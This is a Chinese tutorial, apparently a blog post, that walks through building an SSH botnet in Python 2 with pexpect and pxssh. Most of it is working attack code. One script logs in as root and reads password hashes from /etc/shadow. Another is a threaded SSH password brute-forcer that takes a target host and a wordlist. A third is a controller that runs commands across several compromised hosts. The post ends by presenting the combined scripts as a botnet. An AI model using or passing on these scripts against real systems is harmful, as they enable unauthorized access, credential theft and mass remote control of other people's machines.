Python构建SSH僵尸网络

要构建SSH僵尸网络，先从SSH自动登陆脚本开始写起。

其中要用到 pexpect 模块

先看一下代码：

ssh_newkey = 'Are you sure you want to continue connecting'
child = pexpect.spawn('ssh root@localhost')  #一看就懂，执行命令
ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:']) #根本不懂啥意思………………
if ret == 0:
    print '[-] Error Connecting'
    return
if ret == 1:
    child.sendline('yes')  #很明显是发送命令
    ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])
if ret == 0:
    print '[-] Error Connecting'
    return
child.sendline(password)
child.expect(['# ', '>>>', '>', '\$ '])
child.sendline('cat /etc/shadow | grep root')
child.expect(['# ', '>>>', '>', '\$ '])
print child.before

自己实验一下代码，看看输入结果：

直接看到打印输出为'2',再来看一下官方文档：

 

  expect（）方法等待子应用程序返回给定的字符串。 您指定的字符串是正则表达式，因此您可以匹配复杂的模式。

 

可以看到时用来匹配字符串的，那么返回'2',就应该时匹配到了'password'字段。

接下来执行 child.sendline(password),很明显时发送密码字段，进行登陆。

然后执行   child.expect(['# ', '>>>', '>', '\$ '])，不明白为什么要匹配，还要匹配两次

再看一下官方文档

 

每次调用expect（）之后的前后属性将被设置为由子应用程序打印的文本。 before属性将包含所有预期字符串模式的文本。

 

看完之后也没懂啥意思，自己试验一下：

发送密码之后直接打印为 'root@localhost's'

可以看到，如果不执行 expect 匹配字符串，child.before 的内容不会更新，所以每次执行完需要重新匹配一次，这样就成功打印出我们想要的信息。

搞懂了代码，现在可以写一个完整的SSH自动登陆脚本：

import pexpect

PROMPT = ['# ', '>>> ', '> ', '\$ ']


def send_command(child, cmd):

    child.sendline(cmd)
    child.expect(PROMPT)
    print child.before  #打印执行的命令和结果


def connect(user, host, password):

    ssh_newkey = 'Are you sure you want to continue connecting'
    connStr = 'ssh ' + user + '@' + host
    child = pexpect.spawn(connStr)  #执行命令
    ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:']) #pexpect.TIMEOUT为连接超时时间
    if ret == 0:
        print '[-] Error Connecting'  #ret为0则匹配第一个字符串，为连接超时
        return
    if ret == 1:
        child.sendline('yes')  #匹配第二个字符串，则要输入'yes'
        ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])  #发送命令之后，再次进行字符串匹配，否则结果不会更新
    if ret == 0:
        print '[-] Error Connecting'
        return
    child.sendline(password)
    child.expect(PROMPT)
    return child


def main():

    host = 'localhost'
    user = 'root'
    password = 'xxx'
    child = connect(user, host, password)
    send_command(child, 'cat /etc/shadow | grep root')

if __name__ == '__main__':
    
    main()

 

 接下来要用一个更加方便的库 pxssh，来进行SSH的暴力破解，用pxssh实现上面代码会更加简单

from pexpect import pxssh

def send_command(s, cmd):

    s.sendline(cmd)
    s.prompt() #和expect方法一样，匹配提示符，匹配到就返回Ture，匹配不到或超时返回False
    print s.before


def connect(host, user, password):

    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        return s
    except:
        print '[-] Error Connecting'
        exit(0)
s = connect('127.0.0.1', 'root', 'xxxx')
send_command(s, 'cat /etc/shadow | grep root')

具体解释可参考：http://pexpect.sourceforge.net/pxssh.html#pxssh-prompt

 接下来实现暴力破解功能，会使用到一个较高级的加锁机制：

Semaphores

信号量是一个更高级的锁机制。信号量内部有一个计数器而不像锁对象内部有锁标识，而且只有当占用信号量的线程数超过信号量时线程才阻塞。这允许了多个线程可以同时访问相同的代码区。

semaphore = threading.BoundedSemaphore()
semaphore.acquire() #: counter减小

... 访问共享资源

semaphore.release() #: counter增大

当信号量被获取的时候，计数器减小；当信号量被释放的时候，计数器增大。当获取信号量的时候，如果计数器值为0，则该进程将阻塞。当某一信号量被释放，counter值增加为1时，被阻塞的线程（如果有的话）中会有一个得以继续运行。
信号量通常被用来限制对容量有限的资源的访问，比如一个网络连接或者数据库服务器。在这类场景中，只需要将计数器初始化为最大值，信号量的实现将为你完成剩下的事情。

max_connections = 10

semaphore = threading.BoundedSemaphore(max_connections)

 

 理解这个机制之后，进行代码的编写

 如果login()函数执行成功，并且没有抛出异常，我们将打印一个消息，表明密码已被找到，并把表示密码已被找到的全局布尔值设为true。否则，我们将捕获该异常。如果异常显示密码被拒绝，我们知道这个密码是不对的，让函数返回即可。但是，如果异常显示socket为"read_nonblocking"，可能是SSH服务器被大量连接刷爆了，可以稍等片刻后用相同密码再试一次。此外，如果该异常显示pxssh命令提示符提取困难，也应该等一会，然后让它再试一次。请注意，在connect()函数的参数里有一个布尔量release。由于connect()可以递归地调用另一个connect()，我们必须让只有不是由connect()递归调用的connect()函数才能够释放connection_lock信号。

#-*- coding=utf-8 -*-
from pexpect import pxssh
import optparse
import time
from threading import *


maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0


def connect(host, user, password, release):

    global Found
    global Fails
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print '[+] Password Found:' + password
        Found = True
    except Exception, e:
        if 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(5)
            connect(host, user, password, False)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host, user, password, False)
    finally:
        if release:
            connection_lock.release() #释放锁，信号量会增大


def main():

    parser = optparse.OptionParser('usage%prog '+ '-H <target host> -u <user> -F <password list>') #编写命令行参数
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
    parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
    parser.add_option('-u', dest='user', type='string', help='specify the user')
    (options, args) = parser.parse_args()   #解析参数
    host = options.tgtHost
    passwdFile = options.passwdFile
    user = options.user
    if host == None or passwdFile == None or user == None:
        print parser.usage
        exit(0)
    fn = open(passwdFile, 'r')
    for line in fn.readlines():
        user = options.user
        if Found:
            print "[*] Exiting: Password Found"
            exit(0)
        if Fails > 5:
            print "[!] Exiting: Too Many Socket Timeouts"
            exit(0)
        connection_lock.acquire()  # 加锁，信号量会减小
        password = line.strip('\r').strip('\n')
        print "[-] Testing: "+str(password)
        t = Thread(target=connect, args=(host, user, password, True))
        child = t.start()


if __name__ == '__main__':

    main()

写完测试一下：

成功爆破出密码，但在windows下执行会报错……

查看一下，pexpect目录下的确没有spawn,但是linux系统下也是一样的，不明白为什么……

其实爆破SSH一直都是用Hydra的，写这个完全是为了学习python

能够爆破之后，接下来就是批量登陆并执行命令：

#-*- coding=utf-8 -*-
import optparse
from pexpect import pxssh


class Client:

    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()

    def connect(self):

        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception, e:
            print e
            print '[-] Error Connecting'

    def send_command(self, cmd):

        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before

def botnetCommand(command):

    for client in botNet:
        output = client.send_command(command)
        print '[*] Output from '+ client.host
        print '[+] ' + output + '\n'

def addClient(host, user, password):

    client = Client(host, user, password)
    botNet.append(client)

botNet = []
addClient('10.10.10.110', 'root', 'toor')  #这里可以把已爆破出的用户名密码做一个循环读出来，就是真正的批量登陆了
addClient('10.10.10.120', 'root', 'toor')
addClient('10.10.10.130', 'root', 'toor')
botnetCommand('uname -v')
botnetCommand('cat /etc/issue')

 看一下结果：

结合以上两个脚本就可以构建SSH僵尸网络了。